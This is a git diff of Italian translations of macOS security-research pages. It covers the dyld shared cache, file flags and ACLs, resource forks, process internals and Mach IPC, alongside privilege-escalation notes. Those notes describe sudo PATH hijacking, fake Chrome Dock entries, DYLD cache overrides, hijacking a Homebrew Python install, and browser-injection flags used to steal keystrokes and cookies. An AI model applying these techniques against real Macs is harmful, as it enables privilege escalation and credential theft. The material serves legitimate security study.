### File con Informazioni Sensibili
### Files with Sensitive Information
MacOS memorizza informazioni come le password in diversi luoghi:
@ -39,13 +39,13 @@ MacOS memorizza informazioni come le password in diversi luoghi:
macos-sensitive-locations.md
{{#endref}}
### Installer pkg Vulnerabili
### Vulnerable pkg installers
{{#ref}}
macos-installers-abuse.md
{{#endref}}
## Estensioni Specifiche di OS X
## OS X Specific Extensions
- **`.dmg`**: I file Apple Disk Image sono molto frequenti per gli installer.
- **`.kext`**: Deve seguire una struttura specifica ed è la versione OS X di un driver. (è un bundle)
@ -65,7 +65,7 @@ macos-installers-abuse.md
- **`.noindex`**: File e cartelle con questa estensione non verranno indicizzati da Spotlight.
- **`.sdef`**: File all'interno dei bundle che specificano come è possibile interagire con l'applicazione da un AppleScript.
### Bundle di macOS
### macOS Bundles
Un bundle è una **directory** che **sembra un oggetto in Finder** (un esempio di Bundle sono i file `*.app`).
@ -73,14 +73,14 @@ Un bundle è una **directory** che **sembra un oggetto in Finder** (un esempio d
macos-bundles.md
{{#endref}}
## Cache della Libreria Condivisa Dyld (SLC)
## Dyld Shared Library Cache (SLC)
Su macOS (e iOS) tutte le librerie condivise di sistema, come framework e dylibs, sono **combinati in un unico file**, chiamato **cache condivisa dyld**. Questo migliora le prestazioni, poiché il codice può essere caricato più rapidamente.
Su macOS (e iOS) tutte le librerie condivise di sistema, come framework e dylibs, sono **combinati in un unico file**, chiamato **dyld shared cache**. Questo migliora le prestazioni, poiché il codice può essere caricato più rapidamente.
Questo si trova in macOS in `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` e nelle versioni più vecchie potresti trovare la **cache condivisa** in **`/System/Library/dyld/`**.\
Questo si trova in macOS in `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` e nelle versioni precedenti potresti trovare la **shared cache** in **`/System/Library/dyld/`**.\
In iOS puoi trovarli in **`/System/Library/Caches/com.apple.dyld/`**.
Simile alla cache condivisa dyld, il kernel e le estensioni del kernel sono anche compilati in una cache del kernel, che viene caricata all'avvio.
Simile alla dyld shared cache, il kernel e le estensioni del kernel sono anche compilati in una cache del kernel, che viene caricata all'avvio.
Per estrarre le librerie dal file unico della cache condivisa dylib, era possibile utilizzare il binario [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) che potrebbe non funzionare al giorno d'oggi, ma puoi anche usare [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
```bash
@ -93,22 +93,22 @@ dyldex_all [dyld_shared_cache_path] # Extract all
# More options inside the readme
```
> [!TIP]
> Nota che anche se lo strumento `dyld_shared_cache_util` non funziona, puoi passare il **binary dyld condiviso a Hopper** e Hopper sarà in grado di identificare tutte le librerie e permetterti di **selezionare quale** vuoi investigare:
> Nota che anche se lo strumento `dyld_shared_cache_util` non funziona, puoi passare il **binary condiviso dyld a Hopper** e Hopper sarà in grado di identificare tutte le librerie e permetterti di **selezionare quale** vuoi investigare:
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
Alcuni estrattori non funzioneranno poiché le dylibs sono precollegate con indirizzi hardcoded e quindi potrebbero saltare a indirizzi sconosciuti.
> [!TIP]
> È anche possibile scaricare la Cache delle Librerie Condivise di altri dispositivi \*OS in macos utilizzando un emulatore in Xcode. Saranno scaricati all'interno di: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, come: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
> È anche possibile scaricare la Shared Library Cache di altri dispositivi \*OS in macos utilizzando un emulatore in Xcode. Saranno scaricati all'interno di: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, come: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
### Mapping SLC
**`dyld`** utilizza la syscall **`shared_region_check_np`** per sapere se l'SLC è stato mappato (che restituisce l'indirizzo) e **`shared_region_map_and_slide_np`** per mappare l'SLC.
Nota che anche se l'SLC è scivolato al primo utilizzo, tutti i **processi** utilizzano la **stessa copia**, il che **elimina la protezione ASLR** se l'attaccante è in grado di eseguire processi nel sistema. Questo è stato effettivamente sfruttato in passato ed è stato corretto con il pager della regione condivisa.
Nota che anche se l'SLC è scivolato al primo utilizzo, tutti i **processi** utilizzano la **stessa copia**, il che **elimina la protezione ASLR** se l'attaccante è in grado di eseguire processi nel sistema. Questo è stato effettivamente sfruttato in passato e corretto con il pager della regione condivisa.
I branch pool sono piccole dylibs Mach-O che creano piccoli spazi tra le mappature delle immagini rendendo impossibile l'interposizione delle funzioni.
I branch pool sono piccole Mach-O dylibs che creano piccoli spazi tra le mappature delle immagini rendendo impossibile l'interposizione delle funzioni.
### Override SLCs
@ -117,13 +117,13 @@ Utilizzando le variabili di ambiente:
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Questo permetterà di caricare una nuova cache di librerie condivise.
- **`DYLD_SHARED_CACHE_DIR=avoid`** e sostituire manualmente le librerie con symlink alla cache condivisa con quelle reali (dovrai estrarle).
## Permessi Speciali dei File
## Special File Permissions
### Permessi delle Cartelle
### Folder permissions
In una **cartella**, il **permesso di lettura** consente di **elencarla**, il **permesso di scrittura** consente di **eliminare** e **scrivere** file al suo interno, e il **permesso di esecuzione** consente di **attraversare** la directory. Quindi, ad esempio, un utente con **permesso di lettura su un file** all'interno di una directory in cui non ha **permesso di esecuzione** **non sarà in grado di leggere** il file.
In una **cartella**, **la lettura** consente di **elencarla**, **la scrittura** consente di **eliminare** e **scrivere** file al suo interno, e **l'esecuzione** consente di **traversare** la directory. Quindi, ad esempio, un utente con **permesso di lettura su un file** all'interno di una directory in cui **non ha permesso di esecuzione** **non sarà in grado di leggere** il file.
### Modificatori di Flag
### Flag modifiers
Ci sono alcuni flag che possono essere impostati nei file che faranno comportare il file in modo diverso. Puoi **controllare i flag** dei file all'interno di una directory con `ls -lO /path/directory`
@ -138,7 +138,7 @@ Tutti i flag possono essere trovati nel file `sys/stat.h` (trovalo usando `mdfin
- `UF_NODUMP` 0x00000001: Non eseguire il dump del file.
- `UF_IMMUTABLE` 0x00000002: Il file non può essere modificato.
- `UF_APPEND` 0x00000004: Le scritture nel file possono solo aggiungere.
- `UF_OPAQUE` 0x00000008: La directory è opaca rispetto all'unione.
- `UF_OPAQUE` 0x00000008: La directory è opaca rispetto a union.
- `UF_COMPRESSED` 0x00000020: Il file è compresso (alcuni file system).
- `UF_TRACKED` 0x00000040: Nessuna notifica per eliminazioni/rinominazioni per file con questo impostato.
- `UF_DATAVAULT` 0x00000080: È richiesta un'autorizzazione per la lettura e la scrittura.
@ -156,12 +156,12 @@ Tutti i flag possono essere trovati nel file `sys/stat.h` (trovalo usando `mdfin
### **File ACLs**
Le **ACLs** dei file contengono **ACE** (Access Control Entries) dove possono essere assegnati permessi **più granulari** a diversi utenti.
Le **ACL** dei file contengono **ACE** (Access Control Entries) dove possono essere assegnati permessi **più granulari** a diversi utenti.
È possibile concedere a una **directory** questi permessi: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
E a un **file**: `read`, `write`, `append`, `execute`.
Quando il file contiene ACLs troverai **un "+" quando elenchi i permessi come in**:
Quando il file contiene ACL, troverai **un "+" quando elenchi i permessi come in**:
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
@ -176,7 +176,7 @@ Puoi trovare **tutti i file con ACL** con (questo è molto lento):
```bash
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
```
### Attributi Estesi
### Extended Attributes
Gli attributi estesi hanno un nome e un valore desiderato, e possono essere visualizzati usando `ls -@` e manipolati usando il comando `xattr`. Alcuni attributi estesi comuni sono:
@ -188,15 +188,15 @@ Gli attributi estesi hanno un nome e un valore desiderato, e possono essere visu
- `com.apple.TextEncoding`: Specifica la codifica del testo dei file di testo ASCII
- `com.apple.logd.metadata`: Utilizzato da logd su file in `/var/db/diagnostics`
- `com.apple.genstore.*`: Archiviazione generazionale (`/.DocumentRevisions-V100` nella radice del filesystem)
- `com.apple.rootless`: MacOS: Utilizzato da System Integrity Protection per etichettare il file (III/10)
- `com.apple.rootless`: MacOS: Utilizzato dalla Protezione dell'Integrità di Sistema per etichettare il file (III/10)
- `com.apple.uuidb.boot-uuid`: marcature logd delle epoche di avvio con UUID unici
- `com.apple.decmpfs`: MacOS: compressione trasparente dei file (II/7)
- `com.apple.cprotect`: \*OS: Dati di crittografia per file singoli (III/11)
- `com.apple.decmpfs`: MacOS: Compressione trasparente dei file (II/7)
- `com.apple.cprotect`: \*OS: Dati di crittografia per file (III/11)
- `com.apple.installd.*`: \*OS: Metadati utilizzati da installd, ad es., `installType`, `uniqueInstallID`
### Fork delle Risorse | macOS ADS
### Resource Forks | macOS ADS
Questo è un modo per ottenere **Stream di Dati Alternativi in MacOS**. Puoi salvare contenuti all'interno di un attributo esteso chiamato **com.apple.ResourceFork** all'interno di un file salvandolo in **file/..namedfork/rsrc**.
Questo è un modo per ottenere **Alternate Data Streams in MacOS**. Puoi salvare contenuti all'interno di un attributo esteso chiamato **com.apple.ResourceFork** all'interno di un file salvandolo in **file/..namedfork/rsrc**.
```bash
echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc

9
src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
View File

@ -4,7 +4,7 @@
## TCC Privilege Escalation
Se sei venuto qui cercando l'escalation dei privilegi TCC vai a:
Se sei arrivato qui cercando l'escalation dei privilegi TCC vai a:
{{#ref}}
macos-security-protections/macos-tcc/
@ -22,7 +22,7 @@ Si prega di notare che **la maggior parte dei trucchi sull'escalation dei privil
### Sudo Hijacking
Puoi trovare la [tecnica originale di Sudo Hijacking all'interno del post sull'escalation dei privilegi di Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
Puoi trovare la tecnica originale [Sudo Hijacking all'interno del post sull'escalation dei privilegi di Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
Tuttavia, macOS **mantiene** il **`PATH`** dell'utente quando esegue **`sudo`**. Il che significa che un altro modo per realizzare questo attacco sarebbe **di dirottare altri binari** che la vittima eseguirà quando **esegue sudo:**
```bash
@ -46,10 +46,10 @@ Nota che un utente che utilizza il terminale avrà molto probabilmente **Homebre
Utilizzando un po' di **ingegneria sociale** potresti **impersonare ad esempio Google Chrome** all'interno del dock ed eseguire effettivamente il tuo script:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
{{#tab name="Impersonificazione di Chrome"}}
Alcuni suggerimenti:
- Controlla nel Dock se c'è un Chrome, e in tal caso **rimuovi** quella voce e **aggiungi** la **voce falsa** **Chrome nella stessa posizione** nell'array del Dock.
- Controlla nel Dock se c'è un Chrome e, in tal caso, **rimuovi** quella voce e **aggiungi** la **voce falsa** **Chrome nella stessa posizione** nell'array del Dock.
```bash
#!/bin/sh
@ -232,6 +232,7 @@ Una spiegazione più dettagliata può essere [**trovata nel rapporto originale**
Questo può essere utile per elevare i privilegi:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md
{{#endref}}

46
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md
View File

@ -6,7 +6,7 @@
Un processo è un'istanza di un eseguibile in esecuzione, tuttavia i processi non eseguono codice, questi sono thread. Pertanto **i processi sono solo contenitori per thread in esecuzione** che forniscono memoria, descrittori, porte, permessi...
Tradizionalmente, i processi venivano avviati all'interno di altri processi (eccetto il PID 1) chiamando **`fork`**, che creava una copia esatta del processo corrente e poi il **processo figlio** generalmente chiamava **`execve`** per caricare il nuovo eseguibile e eseguirlo. Poi, **`vfork`** è stato introdotto per rendere questo processo più veloce senza alcuna copia di memoria.\
Tradizionalmente, i processi venivano avviati all'interno di altri processi (eccetto PID 1) chiamando **`fork`**, che creava una copia esatta del processo corrente e poi il **processo figlio** generalmente chiamava **`execve`** per caricare il nuovo eseguibile e eseguirlo. Poi, **`vfork`** è stato introdotto per rendere questo processo più veloce senza alcuna copia di memoria.\
Successivamente, **`posix_spawn`** è stato introdotto combinando **`vfork`** e **`execve`** in un'unica chiamata e accettando flag:
- `POSIX_SPAWN_RESETIDS`: Ripristina gli ID effettivi agli ID reali
@ -23,7 +23,7 @@ Successivamente, **`posix_spawn`** è stato introdotto combinando **`vfork`** e
Inoltre, `posix_spawn` consente di specificare un array di **`posix_spawnattr`** che controlla alcuni aspetti del processo generato, e **`posix_spawn_file_actions`** per modificare lo stato dei descrittori.
Quando un processo muore, invia il **codice di ritorno al processo padre** (se il padre è morto, il nuovo padre è il PID 1) con il segnale `SIGCHLD`. Il padre deve ottenere questo valore chiamando `wait4()` o `waitid()` e fino a quel momento il figlio rimane in uno stato zombie dove è ancora elencato ma non consuma risorse.
Quando un processo muore, invia il **codice di ritorno al processo padre** (se il padre è morto, il nuovo padre è PID 1) con il segnale `SIGCHLD`. Il padre deve ottenere questo valore chiamando `wait4()` o `waitid()` e fino a quel momento il figlio rimane in uno stato zombie dove è ancora elencato ma non consuma risorse.
### PIDs
@ -32,14 +32,14 @@ I PIDs, identificatori di processo, identificano un processo unico. In XNU i **P
### Gruppi di Processi, Sessioni e Coalizioni
**I processi** possono essere inseriti in **gruppi** per facilitarne la gestione. Ad esempio, i comandi in uno script shell saranno nello stesso gruppo di processi, quindi è possibile **segnalarli insieme** utilizzando kill, ad esempio.\
È anche possibile **raggruppare i processi in sessioni**. Quando un processo avvia una sessione (`setsid(2)`), i processi figli vengono inseriti all'interno della sessione, a meno che non avviino la propria sessione.
È anche possibile **raggruppare i processi in sessioni**. Quando un processo avvia una sessione (`setsid(2)`), i processi figli vengono impostati all'interno della sessione, a meno che non avviino la propria sessione.
La coalizione è un altro modo per raggruppare i processi in Darwin. Un processo che si unisce a una coalizione gli consente di accedere a risorse condivise, condividendo un libro mastro o affrontando Jetsam. Le coalizioni hanno ruoli diversi: Leader, servizio XPC, Estensione.
### Credenziali e Personae
### Credenziali e Persone
Ogni processo detiene **credenziali** che **identificano i suoi privilegi** nel sistema. Ogni processo avrà un `uid` primario e un `gid` primario (anche se potrebbe appartenere a più gruppi).\
È anche possibile cambiare l'ID utente e l'ID di gruppo se il binario ha il bit `setuid/setgid`.\
È anche possibile cambiare l'ID utente e l'ID gruppo se il binario ha il bit `setuid/setgid`.\
Ci sono diverse funzioni per **impostare nuovi uids/gids**.
La syscall **`persona`** fornisce un **insieme alternativo** di **credenziali**. Adottare una persona assume il suo uid, gid e le appartenenze ai gruppi **tutte insieme**. Nel [**codice sorgente**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) è possibile trovare la struct:
@ -58,14 +58,14 @@ char persona_name[MAXLOGNAME + 1];
```
## Informazioni di Base sui Thread
1. **POSIX Threads (pthreads):** macOS supporta i thread POSIX (`pthreads`), che fanno parte di un'API di threading standard per C/C++. L'implementazione di pthreads in macOS si trova in `/usr/lib/system/libsystem_pthread.dylib`, che proviene dal progetto `libpthread` disponibile pubblicamente. Questa libreria fornisce le funzioni necessarie per creare e gestire i thread.
1. **Thread POSIX (pthreads):** macOS supporta i thread POSIX (`pthreads`), che fanno parte di un'API standard per il threading in C/C++. L'implementazione di pthreads in macOS si trova in `/usr/lib/system/libsystem_pthread.dylib`, che proviene dal progetto `libpthread` disponibile pubblicamente. Questa libreria fornisce le funzioni necessarie per creare e gestire i thread.
2. **Creazione di Thread:** La funzione `pthread_create()` viene utilizzata per creare nuovi thread. Internamente, questa funzione chiama `bsdthread_create()`, che è una chiamata di sistema a livello inferiore specifica per il kernel XNU (il kernel su cui si basa macOS). Questa chiamata di sistema prende vari flag derivati da `pthread_attr` (attributi) che specificano il comportamento del thread, comprese le politiche di scheduling e la dimensione dello stack.
- **Dimensione Predefinita dello Stack:** La dimensione predefinita dello stack per i nuovi thread è di 512 KB, che è sufficiente per operazioni tipiche ma può essere regolata tramite gli attributi del thread se è necessario più o meno spazio.
3. **Inizializzazione del Thread:** La funzione `__pthread_init()` è cruciale durante la configurazione del thread, utilizzando l'argomento `env[]` per analizzare le variabili di ambiente che possono includere dettagli sulla posizione e sulla dimensione dello stack.
#### Terminazione del Thread in macOS
#### Terminazione dei Thread in macOS
1. **Uscita dai Thread:** I thread vengono tipicamente terminati chiamando `pthread_exit()`. Questa funzione consente a un thread di uscire in modo pulito, eseguendo la pulizia necessaria e permettendo al thread di inviare un valore di ritorno a eventuali joiner.
1. **Uscita dai Thread:** I thread vengono tipicamente terminati chiamando `pthread_exit()`. Questa funzione consente a un thread di uscire in modo pulito, eseguendo le operazioni di pulizia necessarie e permettendo al thread di inviare un valore di ritorno a eventuali joiner.
2. **Pulizia del Thread:** Al momento della chiamata a `pthread_exit()`, viene invocata la funzione `pthread_terminate()`, che gestisce la rimozione di tutte le strutture di thread associate. Dealloca le porte di thread Mach (Mach è il sottosistema di comunicazione nel kernel XNU) e chiama `bsdthread_terminate`, una syscall che rimuove le strutture a livello di kernel associate al thread.
#### Meccanismi di Sincronizzazione
@ -74,25 +74,25 @@ Per gestire l'accesso alle risorse condivise e evitare condizioni di gara, macOS
1. **Mutex:**
- **Mutex Regolare (Firma: 0x4D555458):** Mutex standard con un'impronta di memoria di 60 byte (56 byte per il mutex e 4 byte per la firma).
- **Mutex Veloce (Firma: 0x4d55545A):** Simile a un mutex regolare ma ottimizzato per operazioni più veloci, anch'esso di 60 byte.
- **Mutex Veloce (Firma: 0x4d55545A):** Simile a un mutex regolare ma ottimizzato per operazioni più veloci, anch'esso di 60 byte di dimensione.
2. **Variabili di Condizione:**
- Utilizzate per attendere che si verifichino determinate condizioni, con una dimensione di 44 byte (40 byte più una firma di 4 byte).
- **Attributi della Variabile di Condizione (Firma: 0x434e4441):** Attributi di configurazione per le variabili di condizione, dimensionati a 12 byte.
- **Attributi della Variabile di Condizione (Firma: 0x434e4441):** Attributi di configurazione per le variabili di condizione, di dimensione 12 byte.
3. **Variabile Once (Firma: 0x4f4e4345):**
- Garantisce che un pezzo di codice di inizializzazione venga eseguito solo una volta. La sua dimensione è di 12 byte.
4. **Lock di Lettura-Scrittura:**
- Consente a più lettori o a uno scrittore alla volta, facilitando l'accesso efficiente ai dati condivisi.
- **Lock di Lettura-Scrittura (Firma: 0x52574c4b):** Dimensionato a 196 byte.
- **Lock di Lettura-Scrittura (Firma: 0x52574c4b):** Dimensione di 196 byte.
- **Attributi del Lock di Lettura-Scrittura (Firma: 0x52574c41):** Attributi per i lock di lettura-scrittura, di 20 byte di dimensione.
> [!TIP]
> Gli ultimi 4 byte di quegli oggetti vengono utilizzati per rilevare overflow.
### Variabili Locali al Thread (TLV)
### Variabili Locali ai Thread (TLV)
**Variabili Locali al Thread (TLV)** nel contesto dei file Mach-O (il formato per gli eseguibili in macOS) vengono utilizzate per dichiarare variabili specifiche per **ogni thread** in un'applicazione multi-threaded. Questo garantisce che ogni thread abbia la propria istanza separata di una variabile, fornendo un modo per evitare conflitti e mantenere l'integrità dei dati senza la necessità di meccanismi di sincronizzazione espliciti come i mutex.
**Variabili Locali ai Thread (TLV)** nel contesto dei file Mach-O (il formato per gli eseguibili in macOS) vengono utilizzate per dichiarare variabili specifiche per **ogni thread** in un'applicazione multi-threaded. Questo garantisce che ogni thread abbia la propria istanza separata di una variabile, fornendo un modo per evitare conflitti e mantenere l'integrità dei dati senza la necessità di meccanismi di sincronizzazione espliciti come i mutex.
In C e nei linguaggi correlati, puoi dichiarare una variabile locale al thread utilizzando la parola chiave **`__thread`**. Ecco come funziona nel tuo esempio:
In C e linguaggi correlati, puoi dichiarare una variabile locale al thread utilizzando la parola chiave **`__thread`**. Ecco come funziona nel tuo esempio:
```c
cCopy code__thread int tlv_var;
@ -124,7 +124,7 @@ Comprendere le priorità dei thread implica esaminare come il sistema operativo
#### Classi di Qualità del Servizio (QoS)
Le classi QoS sono un approccio più moderno per gestire le priorità dei thread, in particolare in sistemi come macOS che supportano **Grand Central Dispatch (GCD)**. Le classi QoS consentono agli sviluppatori di **categorizzare** il lavoro in diversi livelli in base alla loro importanza o urgenza. macOS gestisce automaticamente la prioritizzazione dei thread in base a queste classi QoS:
Le classi QoS sono un approccio più moderno per gestire le priorità dei thread, in particolare in sistemi come macOS che supportano **Grand Central Dispatch (GCD)**. Le classi QoS consentono agli sviluppatori di **categorizzare** il lavoro in diversi livelli in base alla loro importanza o urgenza. macOS gestisce automaticamente la priorità dei thread in base a queste classi QoS:
1. **Interattivo per l'Utente:**
- Questa classe è per i compiti che stanno attualmente interagendo con l'utente o richiedono risultati immediati per fornire una buona esperienza utente. Questi compiti ricevono la massima priorità per mantenere l'interfaccia reattiva (ad es., animazioni o gestione degli eventi).
@ -141,7 +141,7 @@ Inoltre, ci sono diverse **politiche di pianificazione dei thread** che fluiscon
## Abuso dei Processi in MacOS
MacOS, come qualsiasi altro sistema operativo, fornisce una varietà di metodi e meccanismi per **l'interazione, la comunicazione e la condivisione dei dati tra i processi**. Sebbene queste tecniche siano essenziali per il funzionamento efficiente del sistema, possono anche essere abusate da attori malevoli per **eseguire attività dannose**.
MacOS, come qualsiasi altro sistema operativo, fornisce una varietà di metodi e meccanismi per **l'interazione, la comunicazione e la condivisione dei dati** tra i processi. Sebbene queste tecniche siano essenziali per il funzionamento efficiente del sistema, possono anche essere abusate da attori malevoli per **eseguire attività dannose**.
### Iniezione di Librerie
@ -153,7 +153,7 @@ macos-library-injection/
### Hooking di Funzioni
Il hooking di funzioni implica **intercettare le chiamate di funzione** o i messaggi all'interno di un codice software. Hookando le funzioni, un attaccante può **modificare il comportamento** di un processo, osservare dati sensibili o persino ottenere il controllo sul flusso di esecuzione.
Il hooking di funzioni implica **intercettare le chiamate di funzione** o i messaggi all'interno di un codice software. Intercettando le funzioni, un attaccante può **modificare il comportamento** di un processo, osservare dati sensibili o persino ottenere il controllo sul flusso di esecuzione.
{{#ref}}
macos-function-hooking.md
@ -177,13 +177,13 @@ macos-electron-applications-injection.md
### Iniezione di Chromium
È possibile utilizzare i flag `--load-extension` e `--use-fake-ui-for-media-stream` per eseguire un **attacco man in the browser** che consente di rubare sequenze di tasti, traffico, cookie, iniettare script nelle pagine...:
È possibile utilizzare i flag `--load-extension` e `--use-fake-ui-for-media-stream` per eseguire un **attacco man in the browser** che consente di rubare battiture, traffico, cookie, iniettare script nelle pagine...:
{{#ref}}
macos-chromium-injection.md
{{#endref}}
### NIB Sporco
### Dirty NIB
I file NIB **definiscono gli elementi dell'interfaccia utente (UI)** e le loro interazioni all'interno di un'applicazione. Tuttavia, possono **eseguire comandi arbitrari** e **Gatekeeper non impedisce** a un'applicazione già eseguita di essere eseguita se un **file NIB è modificato**. Pertanto, potrebbero essere utilizzati per far eseguire programmi arbitrari a comandi arbitrari:
@ -233,7 +233,7 @@ Altre variabili ambientali come **`PYTHONPATH`** e **`PYTHONHOME`** potrebbero e
Nota che gli eseguibili compilati con **`pyinstaller`** non utilizzeranno queste variabili ambientali anche se vengono eseguiti utilizzando un python incorporato.
> [!CAUTION]
> In generale non sono riuscito a trovare un modo per far eseguire a python codice arbitrario abusando delle variabili ambientali.\
> In generale, non sono riuscito a trovare un modo per far eseguire a python codice arbitrario abusando delle variabili ambientali.\
> Tuttavia, la maggior parte delle persone installa python utilizzando **Homebrew**, che installerà python in una **posizione scrivibile** per l'utente admin predefinito. Puoi dirottarlo con qualcosa del tipo:
>
> ```bash
@ -255,15 +255,15 @@ Nota che gli eseguibili compilati con **`pyinstaller`** non utilizzeranno queste
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) è un'applicazione open source che può **rilevare e bloccare le azioni di iniezione di processi**:
- Utilizzando **Variabili Ambientali**: Monitorerà la presenza di una delle seguenti variabili ambientali: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** e **`ELECTRON_RUN_AS_NODE`**
- Utilizzando chiamate **`task_for_pid`**: Per scoprire quando un processo vuole ottenere il **port task di un altro** che consente di iniettare codice nel processo.
- Utilizzando chiamate **`task_for_pid`**: Per trovare quando un processo vuole ottenere il **port task di un altro** che consente di iniettare codice nel processo.
- **Parametri delle app Electron**: Qualcuno può utilizzare l'argomento della riga di comando **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`** per avviare un'app Electron in modalità di debug, e quindi iniettare codice in essa.
- Utilizzando **symlink** o **hardlink**: Tipicamente l'abuso più comune è **posizionare un link con i nostri privilegi utente**, e **puntarlo a una posizione con privilegi superiori**. La rilevazione è molto semplice sia per hardlink che per symlink. Se il processo che crea il link ha un **livello di privilegio diverso** rispetto al file di destinazione, creiamo un **alert**. Sfortunatamente, nel caso dei symlink, il blocco non è possibile, poiché non abbiamo informazioni sulla destinazione del link prima della creazione. Questa è una limitazione del framework EndpointSecurity di Apple.
- Utilizzando **symlink** o **hardlink**: Tipicamente l'abuso più comune è **posizionare un link con i nostri privilegi utente**, e **puntarlo a una posizione con privilegi superiori**. La rilevazione è molto semplice sia per hardlink che per symlink. Se il processo che crea il link ha un **livello di privilegio diverso** rispetto al file di destinazione, creiamo un **alert**. Sfortunatamente, nel caso dei symlink il blocco non è possibile, poiché non abbiamo informazioni sulla destinazione del link prima della creazione. Questa è una limitazione del framework EndpointSecurity di Apple.
### Chiamate effettuate da altri processi
In [**questo post del blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) puoi trovare come è possibile utilizzare la funzione **`task_name_for_pid`** per ottenere informazioni su altri **processi che iniettano codice in un processo** e poi ottenere informazioni su quel altro processo.
Nota che per chiamare quella funzione devi avere **lo stesso uid** di quello che esegue il processo o **root** (e restituisce informazioni sul processo, non un modo per iniettare codice).
Nota che per chiamare quella funzione devi essere **lo stesso uid** di quello che esegue il processo o **root** (e restituisce informazioni sul processo, non un modo per iniettare codice).
## Riferimenti

123
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
View File

@ -1,80 +1,80 @@
# macOS IPC - Comunicazione tra Processi
# macOS IPC - Inter Process Communication
{{#include ../../../../banners/hacktricks-training.md}}
## Messaggi Mach tramite Porte
## Mach messaging via Ports
### Informazioni di Base
### Basic Information
Mach utilizza **compiti** come la **più piccola unità** per la condivisione delle risorse, e ogni compito può contenere **più thread**. Questi **compiti e thread sono mappati 1:1 a processi e thread POSIX**.
Mach utilizza **task** come **unità più piccola** per la condivisione delle risorse, e ogni task può contenere **più thread**. Questi **task e thread sono mappati 1:1 a processi e thread POSIX**.
La comunicazione tra compiti avviene tramite la Comunicazione Inter-Processo Mach (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra porte**, che fungono da **code di messaggi** gestite dal kernel.
La comunicazione tra task avviene tramite Mach Inter-Process Communication (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra porte**, che fungono da **code di messaggi** gestite dal kernel.
Una **porta** è l'elemento **base** dell'IPC Mach. Può essere utilizzata per **inviare messaggi e riceverli**.
Una **porta** è l'elemento **base** di Mach IPC. Può essere utilizzata per **inviare messaggi e riceverli**.
Ogni processo ha una **tabella IPC**, in cui è possibile trovare le **porte mach del processo**. Il nome di una porta mach è in realtà un numero (un puntatore all'oggetto kernel).
Un processo può anche inviare un nome di porta con alcuni diritti **a un compito diverso** e il kernel farà apparire questa voce nella **tabella IPC dell'altro compito**.
Un processo può anche inviare un nome di porta con alcuni diritti **a un task diverso** e il kernel farà apparire questa voce nella **tabella IPC dell'altro task**.
### Diritti di Porta
### Port Rights
I diritti di porta, che definiscono quali operazioni un compito può eseguire, sono fondamentali per questa comunicazione. I possibili **diritti di porta** sono ([definizioni da qui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
I diritti di porta, che definiscono quali operazioni un task può eseguire, sono fondamentali per questa comunicazione. I possibili **diritti di porta** sono ([definizioni da qui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Diritto di ricezione**, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (produttore multiplo, consumatore singolo), il che significa che può esserci **solo un diritto di ricezione per ogni porta** nell'intero sistema (a differenza delle pipe, dove più processi possono detenere descrittori di file per l'estremità di lettura di una pipe).
- Un **compito con il diritto di ricezione** può ricevere messaggi e **creare diritti di invio**, consentendogli di inviare messaggi. Inizialmente solo il **proprio compito ha il diritto di ricezione sulla sua porta**.
- **Diritto di ricezione**, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (multiple-producer, single-consumer), il che significa che può esserci solo **un diritto di ricezione per ogni porta** nell'intero sistema (a differenza delle pipe, dove più processi possono detenere descrittori di file per l'estremità di lettura di una pipe).
- Un **task con il diritto di ricezione** può ricevere messaggi e **creare diritti di invio**, consentendogli di inviare messaggi. Inizialmente solo il **proprio task ha il diritto di ricezione sulla sua porta**.
- Se il proprietario del diritto di ricezione **muore** o lo uccide, il **diritto di invio diventa inutile (nome morto)**.
- **Diritto di invio**, che consente di inviare messaggi alla porta.
- Il diritto di invio può essere **clonato** in modo che un compito che possiede un diritto di invio possa clonare il diritto e **concederlo a un terzo compito**.
- Il diritto di invio può essere **clonato** in modo che un task che possiede un diritto di invio possa clonare il diritto e **concederlo a un terzo task**.
- Si noti che i **diritti di porta** possono anche essere **trasmessi** tramite messaggi Mac.
- **Diritto di invio una sola volta**, che consente di inviare un messaggio alla porta e poi scompare.
